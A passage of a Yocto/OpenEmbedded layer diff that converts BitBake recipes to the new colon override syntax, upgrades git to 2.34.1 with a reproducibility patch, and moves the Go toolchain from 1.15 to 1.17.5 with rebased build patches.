+EXTRA_OEMAKE += "COMPUTE_HEADER_DEPENDENCIES=no"
+EXTRA_OEMAKE:append:class-native = " NO_CROSS_DIRECTORY_HARDLINKS=1"
-do_compile_prepend () {
+do_compile:prepend () {
# Remove perl/perl.mak to fix the out-of-date perl.mak error
# during rebuild
rm -f perl/perl.mak
@@ -76,24 +80,24 @@ perl_native_fixup () {
REL_GIT_EXEC_PATH = "${@os.path.relpath(libexecdir, bindir)}/git-core"
REL_GIT_TEMPLATE_DIR = "${@os.path.relpath(datadir, bindir)}/git-core/templates"
-do_install_append_class-target () {
+do_install:append:class-target () {
perl_native_fixup
}
-do_install_append_class-native() {
+do_install:append:class-native() {
create_wrapper ${D}${bindir}/git \
GIT_EXEC_PATH='`dirname $''realpath`'/${REL_GIT_EXEC_PATH} \
GIT_TEMPLATE_DIR='`dirname $''realpath`'/${REL_GIT_TEMPLATE_DIR}
}
-do_install_append_class-nativesdk() {
+do_install:append:class-nativesdk() {
create_wrapper ${D}${bindir}/git \
GIT_EXEC_PATH='`dirname $''realpath`'/${REL_GIT_EXEC_PATH} \
GIT_TEMPLATE_DIR='`dirname $''realpath`'/${REL_GIT_TEMPLATE_DIR}
perl_native_fixup
}
-FILES_${PN} += "${datadir}/git-core ${libexecdir}/git-core/"
+FILES:${PN} += "${datadir}/git-core ${libexecdir}/git-core/"
PERLTOOLS = " \
${bindir}/git-cvsserver \
@@ -113,25 +117,25 @@ PERLTOOLS = " \
# Git tools requiring perl
PACKAGES =+ "${PN}-perltools"
-FILES_${PN}-perltools += " \
+FILES:${PN}-perltools += " \
${PERLTOOLS} \
${libdir}/perl \
${datadir}/perl5 \
"
-RDEPENDS_${PN}-perltools = "${PN} perl perl-module-file-path findutils"
+RDEPENDS:${PN}-perltools = "${PN} perl perl-module-file-path findutils"
# git-tk package with gitk and git-gui
PACKAGES =+ "${PN}-tk"
#RDEPENDS_${PN}-tk = "${PN} tk tcl"
#EXTRA_OEMAKE = "TCL_PATH=${STAGING_BINDIR_CROSS}/tclsh"
-FILES_${PN}-tk = " \
+FILES:${PN}-tk = " \
${bindir}/gitk \
${datadir}/gitk \
"
PACKAGES =+ "gitweb"
-FILES_gitweb = "${datadir}/gitweb/"
-RDEPENDS_gitweb = "perl"
+FILES:gitweb = "${datadir}/gitweb/"
+RDEPENDS:gitweb = "perl"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/git/git/fixsort.patch b/meta/recipes-devtools/git/git/fixsort.patch
new file mode 100644
index 0000000000..07a487e8ca
--- /dev/null
+++ b/meta/recipes-devtools/git/git/fixsort.patch
@@ -0,0 +1,31 @@
+[PATCH] generate-configlist.sh: Fix determinism issue
+
+Currently git binaries are not entirely reproducible, at least partly
+due to config-list.h differing in order depending on the system's
+locale settings. Under different locales, the entries:
+
+"sendemail.identity",
+"sendemail.<identity>.*",
+
+would differ in order for example and this leads to differences in
+the debug symbols for the binaries.
+
+This can be fixed by specifying the C locale for the sort in the
+shell script generating the header.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+Upstream-Status: Submitted [https://public-inbox.org/git/f029a942dd3d50d85e60bd37d8e454524987842f.camel@linuxfoundation.org/T/#u]
+
+Index: git-2.30.0/generate-configlist.sh
+===================================================================
+--- git-2.30.0.orig/generate-configlist.sh
++++ git-2.30.0/generate-configlist.sh
+@@ -9,7 +9,7 @@ static const char *config_name_list[] =
+ EOF
+ grep -h '^[a-zA-Z].*\..*::$' Documentation/*config.txt Documentation/config/*.txt |
+ sed '/deprecated/d; s/::$//; s/, */\n/g' |
+- sort |
++ LC_ALL=C sort |
+ sed 's/^.*$/ "&",/'
+ cat <<EOF
+ NULL,
diff --git a/meta/recipes-devtools/git/git_2.29.2.bb b/meta/recipes-devtools/git/git_2.29.2.bb
deleted file mode 100644
index 6433a2e2b7..0000000000
--- a/meta/recipes-devtools/git/git_2.29.2.bb
+++ /dev/null
@@ -1,9 +0,0 @@
-require git.inc
-
-EXTRA_OECONF += "ac_cv_snprintf_returns_bogus=no \
- ac_cv_fread_reads_directories=${ac_cv_fread_reads_directories=yes} \
- "
-EXTRA_OEMAKE += "NO_GETTEXT=1"
-
-SRC_URI[tarball.sha256sum] = "869a121e1d75e4c28213df03d204156a17f02fce2dc77be9795b327830f54195"
-SRC_URI[manpages.sha256sum] = "68b258e6d590cb78e02c0df741bbaeab94cbbac6d25de9da4fb3882ee098307b"
diff --git a/meta/recipes-devtools/git/git_2.34.1.bb b/meta/recipes-devtools/git/git_2.34.1.bb
new file mode 100644
index 0000000000..24081764a2
--- /dev/null
+++ b/meta/recipes-devtools/git/git_2.34.1.bb
@@ -0,0 +1,9 @@
+require git.inc
+
+EXTRA_OECONF += "ac_cv_snprintf_returns_bogus=no \
+ ac_cv_fread_reads_directories=${ac_cv_fread_reads_directories=yes} \
+ "
+EXTRA_OEMAKE += "NO_GETTEXT=1"
+
+SRC_URI[tarball.sha256sum] = "fc4eb5ecb9299db91cdd156c06cdeb41833f53adc5631ddf8c0cb13eaa2911c1"
+SRC_URI[manpages.sha256sum] = "220f1ed68582caeddf79c4db15e4eaa4808ec01fd11889e19232f0a74d7f31b0"
diff --git a/meta/recipes-devtools/glide/glide_0.13.3.bb b/meta/recipes-devtools/glide/glide_0.13.3.bb
index 31295edf90..db703c2d21 100644
--- a/meta/recipes-devtools/glide/glide_0.13.3.bb
+++ b/meta/recipes-devtools/glide/glide_0.13.3.bb
@@ -1,10 +1,11 @@
SUMMARY = "Vendor Package Management for Golang"
-HOMEPAGE = "https://glide.sh"
+HOMEPAGE = "https://github.com/Masterminds/glide"
+DESCRIPTION = "Glide is a Vendor Package Management for Golang"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://src/${GO_IMPORT}/LICENSE;md5=54905cf894f8cc416a92f4fc350c35b2"
GO_IMPORT = "github.com/Masterminds/glide"
-SRC_URI = "git://${GO_IMPORT}"
+SRC_URI = "git://${GO_IMPORT};branch=master;protocol=https"
SRCREV = "8ed5b9292379d86c39592a7e6a58eb9c903877cf"
inherit go
@@ -13,15 +14,15 @@ inherit go
# tool build to fail.
export GO111MODULE = "off"
-RDEPENDS_${PN}-dev += "bash"
-RDEPENDS_${PN}-ptest += "bash"
+RDEPENDS:${PN}-dev += "bash"
+RDEPENDS:${PN}-ptest += "bash"
BBCLASSEXTEND = "native nativesdk"
# for x86 ends with textrel in ${PN}
# http://errors.yoctoproject.org/Errors/Details/185631/
# ERROR: QA Issue: ELF binary '/work/i586-oe-linux/glide/0.13.1-r0/packages-split/glide/usr/bin/glide' has relocations in .text [textrel]
-INSANE_SKIP_${PN} += "textrel"
+INSANE_SKIP:${PN} += "textrel"
# for aarch64 ends with textrel in ${PN}-ptest
# http://errors.yoctoproject.org/Errors/Details/185633/
@@ -36,7 +37,7 @@ INSANE_SKIP_${PN} += "textrel"
# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/util/util.test' has relocations in .text
# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/action/action.test' has relocations in .text
# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/cache/cache.test' has relocations in .text [textrel]
-INSANE_SKIP_${PN}-ptest += "textrel"
+INSANE_SKIP:${PN}-ptest += "textrel"
# fails to run task compile_ptest_base on mips
-PTEST_ENABLED_mipsarch = "0"
+PTEST_ENABLED:mipsarch = "0"
diff --git a/meta/recipes-devtools/gnu-config/gnu-config_git.bb b/meta/recipes-devtools/gnu-config/gnu-config_git.bb
index 980ed63415..6b025fce2c 100644
--- a/meta/recipes-devtools/gnu-config/gnu-config_git.bb
+++ b/meta/recipes-devtools/gnu-config/gnu-config_git.bb
@@ -1,17 +1,18 @@
SUMMARY = "gnu-configize"
DESCRIPTION = "Tool that installs the GNU config.guess / config.sub into a directory tree"
+HOMEPAGE = "https://git.savannah.gnu.org/cgit/config.git"
SECTION = "devel"
LICENSE = "GPL-3.0-with-autoconf-exception"
-LIC_FILES_CHKSUM = "file://config.guess;beginline=7;endline=27;md5=b75d42f59f706ea56d6a8e00216fca6a"
+LIC_FILES_CHKSUM = "file://config.guess;beginline=9;endline=29;md5=b75d42f59f706ea56d6a8e00216fca6a"
-DEPENDS_class-native = "hostperl-runtime-native"
+DEPENDS:class-native = "hostperl-runtime-native"
INHIBIT_DEFAULT_DEPS = "1"
-SRCREV = "664b772118739dac69ef8c39abea7e02973ff316"
-PV = "20201018+git${SRCPV}"
+SRCREV = "191bcb948f7191c36eefe634336f5fc5c0c4c2be"
+PV = "20211108+git${SRCPV}"
-SRC_URI = "git://git.savannah.gnu.org/config.git \
+SRC_URI = "git://git.savannah.gnu.org/config.git;branch=master \
file://gnu-configize.in"
S = "${WORKDIR}/git"
UPSTREAM_CHECK_COMMITS = "1"
@@ -35,6 +36,6 @@ do_install () {
}
PACKAGES = "${PN}"
-FILES_${PN} = "${bindir} ${datadir}/gnu-config"
+FILES:${PN} = "${bindir} ${datadir}/gnu-config"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/go/go-1.15.inc b/meta/recipes-devtools/go/go-1.15.inc
deleted file mode 100644
index ccfb0c5987..0000000000
--- a/meta/recipes-devtools/go/go-1.15.inc
+++ /dev/null
@@ -1,20 +0,0 @@
-require go-common.inc
-
-GO_BASEVERSION = "1.15"
-PV = "1.15.5"
-FILESEXTRAPATHS_prepend := "${FILE_DIRNAME}/go-${GO_BASEVERSION}:"
-
-LIC_FILES_CHKSUM = "file://LICENSE;md5=5d4950ecb7b26d2c5e4e7b4e0dd74707"
-
-SRC_URI += "\
- file://0001-allow-CC-and-CXX-to-have-multiple-words.patch \
- file://0002-cmd-go-make-content-based-hash-generation-less-pedan.patch \
- file://0003-allow-GOTOOLDIR-to-be-overridden-in-the-environment.patch \
- file://0004-ld-add-soname-to-shareable-objects.patch \
- file://0005-make.bash-override-CC-when-building-dist-and-go_boot.patch \
- file://0006-cmd-dist-separate-host-and-target-builds.patch \
- file://0007-cmd-go-make-GOROOT-precious-by-default.patch \
- file://0008-use-GOBUILDMODE-to-set-buildmode.patch \
- file://0009-cmd-go-permit-CGO_LDFLAGS-to-appear-in-go-ldflag.patch \
-"
-SRC_URI[main.sha256sum] = "c1076b90cf94b73ebed62a81d802cd84d43d02dea8c07abdc922c57a071c84f1"
diff --git a/meta/recipes-devtools/go/go-1.15/0005-make.bash-override-CC-when-building-dist-and-go_boot.patch b/meta/recipes-devtools/go/go-1.15/0005-make.bash-override-CC-when-building-dist-and-go_boot.patch
deleted file mode 100644
index 59c12d9546..0000000000
--- a/meta/recipes-devtools/go/go-1.15/0005-make.bash-override-CC-when-building-dist-and-go_boot.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-From f05ef3ded52b98537c10efd0b15cd9612471524d Mon Sep 17 00:00:00 2001
-From: Alex Kube <alexander.j.kube@gmail.com>
-Date: Wed, 23 Oct 2019 21:17:16 +0430
-Subject: [PATCH 5/9] make.bash: override CC when building dist and
- go_bootstrap
-
-for handling OE cross-canadian builds.
-
-Adapted to Go 1.13 from patches originally submitted to
-the meta/recipes-devtools/go tree by
-Matt Madison <matt@madison.systems>.
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
----
- src/make.bash | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
---- a/src/make.bash
-+++ b/src/make.bash
-@@ -178,7 +178,7 @@ if [ "$GOROOT_BOOTSTRAP" = "$GOROOT" ];
- exit 1
- fi
- rm -f cmd/dist/dist
--GOROOT="$GOROOT_BOOTSTRAP" GOOS="" GOARCH="" GO111MODULE=off "$GOROOT_BOOTSTRAP/bin/go" build -o cmd/dist/dist ./cmd/dist
-+CC="${BUILD_CC:-${CC}}" GOROOT="$GOROOT_BOOTSTRAP" GOOS="" GOARCH="" GO111MODULE=off "$GOROOT_BOOTSTRAP/bin/go" build -o cmd/dist/dist ./cmd/dist
-
- # -e doesn't propagate out of eval, so check success by hand.
- eval $(./cmd/dist/dist env -p || echo FAIL=true)
-@@ -209,7 +209,7 @@ fi
- # Run dist bootstrap to complete make.bash.
- # Bootstrap installs a proper cmd/dist, built with the new toolchain.
- # Throw ours, built with Go 1.4, away after bootstrap.
--./cmd/dist/dist bootstrap $buildall $vflag $GO_DISTFLAGS "$@"
-+CC="${BUILD_CC:-${CC}}" ./cmd/dist/dist bootstrap $buildall $vflag $GO_DISTFLAGS "$@"
- rm -f ./cmd/dist/dist
-
- # DO NOT ADD ANY NEW CODE HERE.
diff --git a/meta/recipes-devtools/go/go-1.15/0009-cmd-go-permit-CGO_LDFLAGS-to-appear-in-go-ldflag.patch b/meta/recipes-devtools/go/go-1.15/0009-cmd-go-permit-CGO_LDFLAGS-to-appear-in-go-ldflag.patch
deleted file mode 100644
index b57041f1db..0000000000
--- a/meta/recipes-devtools/go/go-1.15/0009-cmd-go-permit-CGO_LDFLAGS-to-appear-in-go-ldflag.patch
+++ /dev/null
@@ -1,100 +0,0 @@
-From 4759221d46b1666de96b8047cec3160bfe4d3d5d Mon Sep 17 00:00:00 2001
-From: Ian Lance Taylor <iant@golang.org>
-Date: Fri, 13 Nov 2020 11:05:37 -0800
-Subject: [PATCH] cmd/go: permit CGO_LDFLAGS to appear in //go:ldflag
-
-Fixes #42565
-
-Upstream-Status: Backport [https://github.com/golang/go/commit/782cf560db4c919790fdb476d1bbe18e5ddf5ffd]
-Change-Id: If7cf39905d124dbd54dfac6a53ee38270498efed
-Reviewed-on: https://go-review.googlesource.com/c/go/+/269818
-Trust: Ian Lance Taylor <iant@golang.org>
-Run-TryBot: Ian Lance Taylor <iant@golang.org>
-TryBot-Result: Go Bot <gobot@golang.org>
-Reviewed-by: Jay Conrod <jayconrod@google.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- src/cmd/go/internal/work/exec.go | 15 +++++++++
- src/cmd/go/testdata/script/ldflag.txt | 44 +++++++++++++++++++++++++++
- 2 files changed, 59 insertions(+)
- create mode 100644 src/cmd/go/testdata/script/ldflag.txt
-
-diff --git a/src/cmd/go/internal/work/exec.go b/src/cmd/go/internal/work/exec.go
-index 575a2df..9209e3d 100644
---- a/src/cmd/go/internal/work/exec.go
-+++ b/src/cmd/go/internal/work/exec.go
-@@ -2821,6 +2821,21 @@ func (b *Builder) cgo(a *Action, cgoExe, objdir string, pcCFLAGS, pcLDFLAGS, cgo
- idx = bytes.Index(src, []byte(cgoLdflag))
- }
- }
-+
-+ // We expect to find the contents of cgoLDFLAGS in flags.
-+ if len(cgoLDFLAGS) > 0 {
-+ outer:
-+ for i := range flags {
-+ for j, f := range cgoLDFLAGS {
-+ if f != flags[i+j] {
-+ continue outer
-+ }
-+ }
-+ flags = append(flags[:i], flags[i+len(cgoLDFLAGS):]...)
-+ break
-+ }
-+ }
-+
- if err := checkLinkerFlags("LDFLAGS", "go:cgo_ldflag", flags); err != nil {
- return nil, nil, err
- }
-diff --git a/src/cmd/go/testdata/script/ldflag.txt b/src/cmd/go/testdata/script/ldflag.txt
-new file mode 100644
-index 0000000..6ceb33b
---- /dev/null
-+++ b/src/cmd/go/testdata/script/ldflag.txt
-@@ -0,0 +1,44 @@
-+# Issue #42565
-+
-+[!cgo] skip
-+
-+# We can't build package bad, which uses #cgo LDFLAGS.
-+cd bad
-+! go build
-+stderr no-such-warning
-+
-+# We can build package ok with the same flags in CGO_LDFLAGS.
-+env CGO_LDFLAGS=-Wno-such-warning -Wno-unknown-warning-option
-+cd ../ok
-+go build
-+
-+# Build a main program that actually uses LDFLAGS.
-+cd ..
-+go build -ldflags=-v
-+
-+# Because we passed -v the Go linker should print the external linker
-+# command which should include the flag we passed in CGO_LDFLAGS.
-+stderr no-such-warning
-+
-+-- go.mod --
-+module ldflag
-+
-+-- bad/bad.go --
-+package bad
-+
-+// #cgo LDFLAGS: -Wno-such-warning -Wno-unknown-warning
-+import "C"
-+
-+func F() {}
-+-- ok/ok.go --
-+package ok
-+
-+import "C"
-+
-+func F() {}
-+-- main.go --
-+package main
-+
-+import _ "ldflag/ok"
-+
-+func main() {}
---
-2.29.2
-
diff --git a/meta/recipes-devtools/go/go-1.17.5.inc b/meta/recipes-devtools/go/go-1.17.5.inc
new file mode 100644
index 0000000000..baddd3b215
--- /dev/null
+++ b/meta/recipes-devtools/go/go-1.17.5.inc
@@ -0,0 +1,23 @@
+require go-common.inc
+
+FILESEXTRAPATHS:prepend := "${FILE_DIRNAME}/go-1.17:"
+
+LIC_FILES_CHKSUM = "file://LICENSE;md5=5d4950ecb7b26d2c5e4e7b4e0dd74707"
+
+SRC_URI += "\
+ file://0001-allow-CC-and-CXX-to-have-multiple-words.patch \
+ file://0002-cmd-go-make-content-based-hash-generation-less-pedan.patch \
+ file://0003-allow-GOTOOLDIR-to-be-overridden-in-the-environment.patch \
+ file://0004-ld-add-soname-to-shareable-objects.patch \
+ file://0005-make.bash-override-CC-when-building-dist-and-go_boot.patch \
+ file://0006-cmd-dist-separate-host-and-target-builds.patch \
+ file://0007-cmd-go-make-GOROOT-precious-by-default.patch \
+ file://0008-use-GOBUILDMODE-to-set-buildmode.patch \
+ file://0009-Revert-cmd-go-make-sure-CC-and-CXX-are-absolute.patch \
+"
+SRC_URI[main.sha256sum] = "3defb9a09bed042403195e872dcbc8c6fae1485963332279668ec52e80a95a2d"
+
+# Upstream don't believe it is a signifiant real world issue and will only
+# fix in 1.17 onwards where we can drop this.
+# https://github.com/golang/go/issues/30999#issuecomment-910470358
+CVE_CHECK_WHITELIST += "CVE-2021-29923"
diff --git a/meta/recipes-devtools/go/go-1.15/0001-allow-CC-and-CXX-to-have-multiple-words.patch b/meta/recipes-devtools/go/go-1.17/0001-allow-CC-and-CXX-to-have-multiple-words.patch
index 5f4823be22..5f4823be22 100644
--- a/meta/recipes-devtools/go/go-1.15/0001-allow-CC-and-CXX-to-have-multiple-words.patch
+++ b/meta/recipes-devtools/go/go-1.17/0001-allow-CC-and-CXX-to-have-multiple-words.patch
diff --git a/meta/recipes-devtools/go/go-1.15/0002-cmd-go-make-content-based-hash-generation-less-pedan.patch b/meta/recipes-devtools/go/go-1.17/0002-cmd-go-make-content-based-hash-generation-less-pedan.patch
index d0511c0c40..42cd568ef9 100644
--- a/meta/recipes-devtools/go/go-1.15/0002-cmd-go-make-content-based-hash-generation-less-pedan.patch
+++ b/meta/recipes-devtools/go/go-1.17/0002-cmd-go-make-content-based-hash-generation-less-pedan.patch
@@ -1,7 +1,7 @@
-From a13ae484e41139094505d2834437e9262a5315f7 Mon Sep 17 00:00:00 2001
+From c403b45995c5daa6747ac4d95b39bc9a6feb2cda Mon Sep 17 00:00:00 2001
From: Alex Kube <alexander.j.kube@gmail.com>
Date: Wed, 23 Oct 2019 21:14:22 +0430
-Subject: [PATCH 2/9] cmd/go: make content-based hash generation less pedantic
+Subject: [PATCH] cmd/go: make content-based hash generation less pedantic
Upstream-Status: Inappropriate [OE specific]
@@ -50,9 +50,11 @@ Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
src/cmd/go/internal/work/exec.go | 66 ++++++++++++++++++++++---------
2 files changed, 49 insertions(+), 19 deletions(-)
+diff --git a/src/cmd/go/internal/envcmd/env.go b/src/cmd/go/internal/envcmd/env.go
+index 20d0587..ff6f0d8 100644
--- a/src/cmd/go/internal/envcmd/env.go
+++ b/src/cmd/go/internal/envcmd/env.go
-@@ -157,7 +157,7 @@ func ExtraEnvVars() []cfg.EnvVar {
+@@ -160,7 +160,7 @@ func ExtraEnvVars() []cfg.EnvVar {
func ExtraEnvVarsCostly() []cfg.EnvVar {
var b work.Builder
b.Init()
@@ -61,10 +63,12 @@ Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
if err != nil {
// Should not happen - b.CFlags was given an empty package.
fmt.Fprintf(os.Stderr, "go: invalid cflags: %v\n", err)
+diff --git a/src/cmd/go/internal/work/exec.go b/src/cmd/go/internal/work/exec.go
+index 5a225fb..a37872e 100644
--- a/src/cmd/go/internal/work/exec.go
+++ b/src/cmd/go/internal/work/exec.go
-@@ -33,6 +33,8 @@ import (
- "cmd/go/internal/str"
+@@ -38,6 +38,8 @@ import (
+ "cmd/go/internal/trace"
)
+var omitGopath = os.Getenv("GOPATH_OMIT_IN_ACTIONID") != ""
@@ -72,7 +76,7 @@ Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
// actionList returns the list of actions in the dag rooted at root
// as visited in a depth-first post-order traversal.
func actionList(root *Action) []*Action {
-@@ -209,7 +211,7 @@ func (b *Builder) buildActionID(a *Actio
+@@ -229,7 +231,7 @@ func (b *Builder) buildActionID(a *Action) cache.ActionID {
// Assume b.WorkDir is being trimmed properly.
// When -trimpath is used with a package built from the module cache,
// use the module path and version instead of the directory.
@@ -81,25 +85,36 @@ Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
fmt.Fprintf(h, "dir %s\n", p.Dir)
} else if cfg.BuildTrimpath && p.Module != nil {
fmt.Fprintf(h, "module %s@%s\n", p.Module.Path, p.Module.Version)
-@@ -228,13 +230,13 @@ func (b *Builder) buildActionID(a *Actio
+@@ -248,9 +250,9 @@ func (b *Builder) buildActionID(a *Action) cache.ActionID {
}
- if len(p.CgoFiles)+len(p.SwigFiles) > 0 {
+ if len(p.CgoFiles)+len(p.SwigFiles)+len(p.SwigCXXFiles) > 0 {
fmt.Fprintf(h, "cgo %q\n", b.toolID("cgo"))
- cppflags, cflags, cxxflags, fflags, ldflags, _ := b.CFlags(p)
-- fmt.Fprintf(h, "CC=%q %q %q %q\n", b.ccExe(), cppflags, cflags, ldflags)
+ cppflags, cflags, cxxflags, fflags, ldflags, _ := b.CFlags(p, true)
-+ fmt.Fprintf(h, "CC=%q %q %q %q\n", b.ccExe(true), cppflags, cflags, ldflags)
- if len(p.CXXFiles)+len(p.SwigFiles) > 0 {
-- fmt.Fprintf(h, "CXX=%q %q\n", b.cxxExe(), cxxflags)
-+ fmt.Fprintf(h, "CXX=%q %q\n", b.cxxExe(true), cxxflags)
+
+- ccExe := b.ccExe()
++ ccExe := b.ccExe(true)
+ fmt.Fprintf(h, "CC=%q %q %q %q\n", ccExe, cppflags, cflags, ldflags)
+ // Include the C compiler tool ID so that if the C
+ // compiler changes we rebuild the package.
+@@ -263,14 +265,14 @@ func (b *Builder) buildActionID(a *Action) cache.ActionID {
+ }
}
- if len(p.FFiles) > 0 {
-- fmt.Fprintf(h, "FC=%q %q\n", b.fcExe(), fflags)
-+ fmt.Fprintf(h, "FC=%q %q\n", b.fcExe(true), fflags)
+ if len(p.CXXFiles)+len(p.SwigCXXFiles) > 0 {
+- cxxExe := b.cxxExe()
++ cxxExe := b.cxxExe(true)
+ fmt.Fprintf(h, "CXX=%q %q\n", cxxExe, cxxflags)
+ if cxxID, err := b.gccToolID(cxxExe[0], "c++"); err == nil {
+ fmt.Fprintf(h, "CXX ID=%q\n", cxxID)
+ }
}
- // TODO(rsc): Should we include the SWIG version or Fortran/GCC/G++/Objective-C compiler versions?
- }
-@@ -2298,33 +2300,48 @@ var (
+ if len(p.FFiles) > 0 {
+- fcExe := b.fcExe()
++ fcExe := b.fcExe(true)
+ fmt.Fprintf(h, "FC=%q %q\n", fcExe, fflags)
+ if fcID, err := b.gccToolID(fcExe[0], "f95"); err == nil {
+ fmt.Fprintf(h, "FC ID=%q\n", fcID)
+@@ -2438,33 +2440,48 @@ var (
// gccCmd returns a gcc command line prefix
// defaultCC is defined in zdefaultcc.go, written by cmd/dist.
func (b *Builder) GccCmd(incdir, workdir string) []string {
@@ -157,7 +172,7 @@ Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
}
// compilerExe returns the compiler to use given an
-@@ -2333,11 +2350,16 @@ func (b *Builder) fcExe() []string {
+@@ -2473,11 +2490,16 @@ func (b *Builder) fcExe() []string {
// of the compiler but can have additional arguments if they
// were present in the environment value.
// For example if CC="gcc -DGOPHER" then the result is ["gcc", "-DGOPHER"].
@@ -165,7 +180,7 @@ Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
+func (b *Builder) compilerExe(envValue string, def string, filtered bool) []string {
compiler := strings.Fields(envValue)
if len(compiler) == 0 {
- compiler = []string{def}
+ compiler = strings.Fields(def)
}
+
+ if filtered {
@@ -175,7 +190,7 @@ Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
return compiler
}
-@@ -2510,7 +2532,7 @@ func envList(key, def string) []string {
+@@ -2667,7 +2689,7 @@ func envList(key, def string) []string {
}
// CFlags returns the flags to use when invoking the C, C++ or Fortran compilers, or cgo.
@@ -184,7 +199,7 @@ Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
defaults := "-g -O2"
if cppflags, err = buildFlags("CPPFLAGS", "", p.CgoCPPFLAGS, checkCompilerFlags); err != nil {
-@@ -2529,6 +2551,14 @@ func (b *Builder) CFlags(p *load.Package
+@@ -2686,6 +2708,14 @@ func (b *Builder) CFlags(p *load.Package) (cppflags, cflags, cxxflags, fflags, l
return
}
@@ -199,7 +214,7 @@ Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
return
}
-@@ -2543,7 +2573,7 @@ var cgoRe = lazyregexp.New(`[/\\:]`)
+@@ -2700,7 +2730,7 @@ var cgoRe = lazyregexp.New(`[/\\:]`)
func (b *Builder) cgo(a *Action, cgoExe, objdir string, pcCFLAGS, pcLDFLAGS, cgofiles, gccfiles, gxxfiles, mfiles, ffiles []string) (outGo, outObj []string, err error) {
p := a.Package
@@ -208,7 +223,7 @@ Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
if err != nil {
return nil, nil, err
}
-@@ -2902,7 +2932,7 @@ func (b *Builder) swigIntSize(objdir str
+@@ -3151,7 +3181,7 @@ func (b *Builder) swigIntSize(objdir string) (intsize string, err error) {
// Run SWIG on one SWIG input file.
func (b *Builder) swigOne(a *Action, p *load.Package, file, objdir string, pcCFLAGS []string, cxx bool, intgosize string) (outGo, outC string, err error) {
@@ -217,3 +232,6 @@ Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
if err != nil {
return "", "", err
}
+--
+2.20.1
+
diff --git a/meta/recipes-devtools/go/go-1.15/0003-allow-GOTOOLDIR-to-be-overridden-in-the-environment.patch b/meta/recipes-devtools/go/go-1.17/0003-allow-GOTOOLDIR-to-be-overridden-in-the-environment.patch
index 662c705471..2a86bdccf3 100644
--- a/meta/recipes-devtools/go/go-1.15/0003-allow-GOTOOLDIR-to-be-overridden-in-the-environment.patch
+++ b/meta/recipes-devtools/go/go-1.17/0003-allow-GOTOOLDIR-to-be-overridden-in-the-environment.patch
@@ -1,7 +1,7 @@
-From 28ada8896b76d620240bafc22aa395071d601482 Mon Sep 17 00:00:00 2001
+From 8512964c0bfdfc3c9c3805743ea7de551a1d476a Mon Sep 17 00:00:00 2001
From: Alex Kube <alexander.j.kube@gmail.com>
Date: Wed, 23 Oct 2019 21:15:37 +0430
-Subject: [PATCH 3/9] cmd/go: Allow GOTOOLDIR to be overridden in the environment
+Subject: [PATCH] cmd/go: Allow GOTOOLDIR to be overridden in the environment
to allow for split host/target build roots
@@ -12,15 +12,18 @@ Matt Madison <matt@madison.systems>.
Upstream-Status: Inappropriate [OE specific]
Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
+
---
src/cmd/dist/build.go | 4 +++-
src/cmd/go/internal/cfg/cfg.go | 6 +++++-
2 files changed, 8 insertions(+), 2 deletions(-)
+diff --git a/src/cmd/dist/build.go b/src/cmd/dist/build.go
+index bec1769..d82f612 100644
--- a/src/cmd/dist/build.go
+++ b/src/cmd/dist/build.go
-@@ -246,7 +246,9 @@ func xinit() {
- workdir = xworkdir()
+@@ -248,7 +248,9 @@ func xinit() {
+ }
xatexit(rmworkdir)
- tooldir = pathf("%s/pkg/tool/%s_%s", goroot, gohostos, gohostarch)
@@ -30,9 +33,11 @@ Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
}
// compilerEnv returns a map from "goos/goarch" to the
+diff --git a/src/cmd/go/internal/cfg/cfg.go b/src/cmd/go/internal/cfg/cfg.go
+index 57a3c1f..825d8c7 100644
--- a/src/cmd/go/internal/cfg/cfg.go
+++ b/src/cmd/go/internal/cfg/cfg.go
-@@ -64,7 +64,11 @@ func defaultContext() build.Context {
+@@ -67,7 +67,11 @@ func defaultContext() build.Context {
// variables. This matches the initialization of ToolDir in
// go/build, except for using ctxt.GOROOT rather than
// runtime.GOROOT.
diff --git a/meta/recipes-devtools/go/go-1.15/0004-ld-add-soname-to-shareable-objects.patch b/meta/recipes-devtools/go/go-1.17/0004-ld-add-soname-to-shareable-objects.patch
index da29923920..cd875f1164 100644
--- a/meta/recipes-devtools/go/go-1.15/0004-ld-add-soname-to-shareable-objects.patch
+++ b/meta/recipes-devtools/go/go-1.17/0004-ld-add-soname-to-shareable-objects.patch
@@ -19,15 +19,15 @@ Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
--- a/src/cmd/link/internal/ld/lib.go
+++ b/src/cmd/link/internal/ld/lib.go
-@@ -1446,6 +1446,7 @@ func (ctxt *Link) hostlink() {
+@@ -1343,6 +1343,7 @@ func (ctxt *Link) hostlink() {
argv = append(argv, "-Wl,-z,relro")
}
argv = append(argv, "-shared")
+ argv = append(argv, fmt.Sprintf("-Wl,-soname,%s", filepath.Base(*flagOutfile)))
- if ctxt.HeadType != objabi.Hwindows {
- // Pass -z nodelete to mark the shared library as
- // non-closeable: a dlclose will do nothing.
